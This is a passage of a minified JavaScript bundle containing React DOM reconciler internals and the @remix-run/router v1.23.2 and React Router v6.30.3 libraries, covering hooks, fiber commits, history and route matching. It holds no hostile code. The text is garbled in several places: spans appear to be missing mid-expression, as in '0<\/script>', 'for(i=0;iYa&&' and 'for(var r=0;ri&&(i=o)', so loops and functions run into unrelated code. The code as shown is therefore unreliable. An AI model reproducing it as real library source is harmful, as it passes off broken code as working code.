0?null:t],e},useContext:Nn,useEffect:ag,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,sc(4194308,4,f5.bind(null,t,e),n)},useLayoutEffect:function(e,t){return sc(4194308,4,e,t)},useInsertionEffect:function(e,t){return sc(4,2,e,t)},useMemo:function(e,t){var n=er();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=er();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=KC.bind(null,qe,e),[r.memoizedState,e]},useRef:function(e){var t=er();return e={current:e},t.memoizedState=e},useState:ig,useDebugValue:Jh,useDeferredValue:function(e){return er().memoizedState=e},useTransition:function(){var e=ig(!1),t=e[0];return e=HC.bind(null,e[1]),er().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=qe,i=er();if(Ve){if(n===void 0)throw Error(Q(407));n=n()}else{if(n=t(),gt===null)throw Error(Q(349));Gi&30||i5(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,ag(s5.bind(null,r,a,e),[e]),r.flags|=2048,yo(9,a5.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=er(),t=gt.identifierPrefix;if(Ve){var n=gr,r=vr;n=(r&~(1<<32-$n(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=vo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[tr]=t,e[mo]=r,A5(e,t,!1,!1),t.stateNode=e;e:{switch(o=Ip(n,r),n){case"dialog":Re("cancel",e),Re("close",e),i=r;break;case"iframe":case"object":case"embed":Re("load",e),i=r;break;case"video":case"audio":for(i=0;iYa&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304)}else{if(!r)if(e=Mc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Cs(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Ve)return At(t),null}else 2*nt()-a.renderingStartTime>Ya&&n!==1073741824&&(t.flags|=128,r=!0,Cs(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=nt(),t.sibling=null,n=Ke.current,De(Ke,r?n&1|2:n&1),t):(At(t),null);case 22:case 23:return ax(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?en&1073741824&&(At(t),t.subtreeFlags&6&&(t.flags|=8192)):At(t),null;case 24:return null;case 25:return null}throw Error(Q(156,t.tag))}function nP(e,t){switch($h(t),t.tag){case 1:return qt(t.type)&&Cc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ka(),Be(Kt),Be(Ot),Yh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return qh(t),null;case 13:if(Be(Ke),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Q(340));Va()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Be(Ke),null;case 4:return Ka(),null;case 10:return Uh(t.type._context),null;case 22:case 23:return ax(),null;case 24:return null;default:return null}}var Pl=!1,_t=!1,rP=typeof WeakSet=="function"?WeakSet:Set,le=null;function Pa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Je(e,t,r)}else n.current=null}function cm(e,t,n){try{n()}catch(r){Je(e,t,r)}}var xg=!1;function iP(e,t){if(Kp=kc,e=Dw(),Dh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(qp={focusedElem:e,selectionRange:n},kc=!1,le=t;le!==null;)if(t=le,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,le=e;else for(;le!==null;){t=le;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Tn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Q(163))}}catch(j){Je(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,le=e;break}le=t.return}return x=xg,xg=!1,x}function eo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&cm(t,n,a)}i=i.next}while(i!==r)}}function qu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function um(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function T5(e){var t=e.alternate;t!==null&&(e.alternate=null,T5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[tr],delete t[mo],delete t[Xp],delete t[BC],delete t[FC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function M5(e){return e.tag===5||e.tag===3||e.tag===4}function vg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||M5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function dm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=zc));else if(r!==4&&(e=e.child,e!==null))for(dm(e,t,n),e=e.sibling;e!==null;)dm(e,t,n),e=e.sibling}function fm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(fm(e,t,n),e=e.sibling;e!==null;)fm(e,t,n),e=e.sibling}var kt=null,Mn=!1;function Hr(e,t,n){for(n=n.child;n!==null;)L5(e,t,n),n=n.sibling}function L5(e,t,n){if(ar&&typeof ar.onCommitFiberUnmount=="function")try{ar.onCommitFiberUnmount($u,n)}catch{}switch(n.tag){case 5:_t||Pa(n,t);case 6:var r=kt,i=Mn;kt=null,Hr(e,t,n),kt=r,Mn=i,kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):kt.removeChild(n.stateNode));break;case 18:kt!==null&&(Mn?(e=kt,n=n.stateNode,e.nodeType===8?Mf(e.parentNode,n):e.nodeType===1&&Mf(e,n),lo(e)):Mf(kt,n.stateNode));break;case 4:r=kt,i=Mn,kt=n.stateNode.containerInfo,Mn=!0,Hr(e,t,n),kt=r,Mn=i;break;case 0:case 11:case 14:case 15:if(!_t&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&cm(n,t,o),i=i.next}while(i!==r)}Hr(e,t,n);break;case 1:if(!_t&&(Pa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Je(n,t,l)}Hr(e,t,n);break;case 21:Hr(e,t,n);break;case 22:n.mode&1?(_t=(r=_t)||n.memoizedState!==null,Hr(e,t,n),_t=r):Hr(e,t,n);break;default:Hr(e,t,n)}}function gg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new rP),t.forEach(function(r){var i=pP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function An(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=nt()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*sP(r/1960))-r,10e?16:e,Jr===null)var r=!1;else{if(e=Jr,Jr=null,$c=0,Ne&6)throw Error(Q(331));var i=Ne;for(Ne|=4,le=e.current;le!==null;){var a=le,o=a.child;if(le.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cnt()-rx?Fi(e,0):nx|=n),Yt(e,t)}function U5(e,t){t===0&&(e.mode&1?(t=yl,yl<<=1,!(yl&130023424)&&(yl=4194304)):t=1);var n=It();e=Sr(e,t),e!==null&&(Uo(e,t,n),Yt(e,n))}function fP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),U5(e,n)}function pP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Q(314))}r!==null&&r.delete(t),U5(e,n)}var V5;V5=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Kt.current)Wt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Wt=!1,eP(e,t,n);Wt=!!(e.flags&131072)}else Wt=!1,Ve&&t.flags&1048576&&Yw(t,Ac,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;oc(e,t),e=t.pendingProps;var i=Ua(t,Ot.current);Da(t,n),i=Xh(null,t,r,e,i,n);var a=Zh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,qt(r)?(a=!0,Pc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Hh(t),i.updater=Ku,t.stateNode=i,i._reactInternals=t,nm(t,r,e,n),t=am(null,t,r,!0,a,n)):(t.tag=0,Ve&&a&&Rh(t),Mt(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(oc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=hP(r),e=Tn(r,e),i){case 0:t=im(null,t,r,e,n);break e;case 1:t=pg(null,t,r,e,n);break e;case 11:t=dg(null,t,r,e,n);break e;case 14:t=fg(null,t,r,Tn(r.type,e),n);break e}throw Error(Q(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),im(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),pg(e,t,r,i,n);case 3:e:{if(C5(t),e===null)throw Error(Q(387));r=t.pendingProps,a=t.memoizedState,i=a.element,e5(e,t),Tc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=qa(Error(Q(423)),t),t=mg(e,t,r,n,i);break e}else if(r!==i){i=qa(Error(Q(424)),t),t=mg(e,t,r,n,i);break e}else for(nn=ai(t.stateNode.containerInfo.firstChild),an=t,Ve=!0,Ln=null,n=Qw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Va(),r===i){t=zr(e,t,n);break e}Mt(e,t,r,n)}t=t.child}return t;case 5:return t5(t),e===null&&Jp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Yp(r,i)?o=null:a!==null&&Yp(r,a)&&(t.flags|=32),z5(e,t),Mt(e,t,o,n),t.child;case 6:return e===null&&Jp(t),null;case 13:return P5(e,t,n);case 4:return Kh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ha(t,null,r,n):Mt(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),dg(e,t,r,i,n);case 7:return Mt(e,t,t.pendingProps,n),t.child;case 8:return Mt(e,t,t.pendingProps.children,n),t.child;case 12:return Mt(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,De(_c,r._currentValue),r._currentValue=o,a!==null)if(Wn(a.value,o)){if(a.children===i.children&&!Kt.current){t=zr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=wr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),em(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Q(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),em(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Mt(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Da(t,n),i=Nn(i),r=r(i),t.flags|=1,Mt(e,t,r,n),t.child;case 14:return r=t.type,i=Tn(r,t.pendingProps),i=Tn(r.type,i),fg(e,t,r,i,n);case 15:return N5(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Tn(r,i),oc(e,t),t.tag=1,qt(r)?(e=!0,Pc(t)):e=!1,Da(t,n),w5(t,r,i),nm(t,r,i,n),am(null,t,r,!0,e,n);case 19:return E5(e,t,n);case 22:return S5(e,t,n)}throw Error(Q(156,t.tag))};function H5(e,t){return gw(e,t)}function mP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function wn(e,t,n,r){return new mP(e,t,n,r)}function ox(e){return e=e.prototype,!(!e||!e.isReactComponent)}function hP(e){if(typeof e=="function")return ox(e)?1:0;if(e!=null){if(e=e.$$typeof,e===zh)return 11;if(e===Ch)return 14}return 2}function ci(e,t){var n=e.alternate;return n===null?(n=wn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function uc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")ox(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ya:return Wi(n.children,i,a,t);case Sh:o=8,i|=8;break;case zp:return e=wn(12,n,t,i|2),e.elementType=zp,e.lanes=a,e;case Cp:return e=wn(13,n,t,i),e.elementType=Cp,e.lanes=a,e;case Pp:return e=wn(19,n,t,i),e.elementType=Pp,e.lanes=a,e;case tw:return Gu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case J2:o=10;break e;case ew:o=9;break e;case zh:o=11;break e;case Ch:o=14;break e;case Kr:o=16,r=null;break e}throw Error(Q(130,e==null?e:typeof e,""))}return t=wn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Wi(e,t,n,r){return e=wn(7,e,r,t),e.lanes=n,e}function Gu(e,t,n,r){return e=wn(22,e,r,t),e.elementType=tw,e.lanes=n,e.stateNode={isHidden:!1},e}function Wf(e,t,n){return e=wn(6,e,null,t),e.lanes=n,e}function Uf(e,t,n){return t=wn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function xP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=kf(0),this.expirationTimes=kf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=kf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function lx(e,t,n,r,i,a,o,l,c){return e=new xP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=wn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Hh(a),e}function vP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(G5)}catch(e){console.error(e)}}G5(),G2.exports=un;var fx=G2.exports,zg=fx;Np.createRoot=zg.createRoot,Np.hydrateRoot=zg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function wo(){return wo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function px(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function kP(){return Math.random().toString(36).substr(2,8)}function Pg(e,t){return{usr:e.state,key:e.key,idx:t}}function vm(e,t,n,r){return n===void 0&&(n=null),wo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ss(t):t,{state:n,key:t&&t.key||r||kP()})}function Wc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ss(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function NP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=ei.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(wo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=ei.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=ei.Push;let b=vm(g.location,y,v);u=d()+1;let w=Pg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=ei.Replace;let b=vm(g.location,y,v);u=d();let w=Pg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Wc(y);return b=b.replace(/ $/,"%20"),Ye(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(Cg,f),c=y,()=>{i.removeEventListener(Cg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var Eg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Eg||(Eg={}));function SP(e,t,n){return n===void 0&&(n="/"),zP(e,t,n)}function zP(e,t,n,r){let i=typeof t=="string"?ss(t):t,a=Ga(i.pathname||"/",n);if(a==null)return null;let o=X5(e);CP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(Ye(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=ui([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(Ye(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),X5(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:MP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Z5(a.path))i(a,o,c)}),t}function Z5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Z5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function CP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:LP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const PP=/^:[\w-]+$/,EP=3,AP=2,_P=1,OP=10,TP=-2,Ag=e=>e==="*";function MP(e,t){let n=e.split("/"),r=n.length;return n.some(Ag)&&(r+=TP),t&&(r+=AP),n.filter(i=>!Ag(i)).reduce((i,a)=>i+(PP.test(a)?EP:a===""?_P:OP),r)}function LP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function IP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function DP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),px(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function RP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return px(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Ga(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const $P=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,BP=e=>$P.test(e);function FP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?ss(e):e,a;if(n)if(BP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),px(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=_g(n.substring(1),"/"):a=_g(n,t)}else a=t;return{pathname:a,search:VP(r),hash:HP(i)}}function _g(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Vf(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function WP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function mx(e,t){let n=WP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function hx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=ss(e):(i=wo({},e),Ye(!i.pathname||!i.pathname.includes("?"),Vf("?","pathname","search",i)),Ye(!i.pathname||!i.pathname.includes("#"),Vf("#","pathname","hash",i)),Ye(!i.search||!i.search.includes("#"),Vf("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=FP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const ui=e=>e.join("/").replace(/\/\/+/g,"/"),UP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),VP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,HP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function KP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Q5=["post","put","patch","delete"];new Set(Q5);const qP=["get",...Q5];new Set(qP);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function jo(){return jo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=hx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:ui([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const XP=p.createContext(null);function ZP(e){let t=p.useContext(ur).outlet;return t&&p.createElement(XP.Provider,{value:e},t)}function qo(){let{matches:e}=p.useContext(ur),t=e[e.length-1];return t?t.params:{}}function nd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Dr),{matches:i}=p.useContext(ur),{pathname:a}=la(),o=JSON.stringify(mx(i,r.v7_relativeSplatPath));return p.useMemo(()=>hx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function QP(e,t){return JP(e,t)}function JP(e,t,n,r){os()||Ye(!1);let{navigator:i}=p.useContext(Dr),{matches:a}=p.useContext(ur),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=la(),d;if(t){var f;let y=typeof t=="string"?ss(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Ye(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=SP(e,{pathname:h}),g=iE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:ui([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:ui([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(td.Provider,{value:{location:jo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ei.Pop}},g):g}function eE(){let 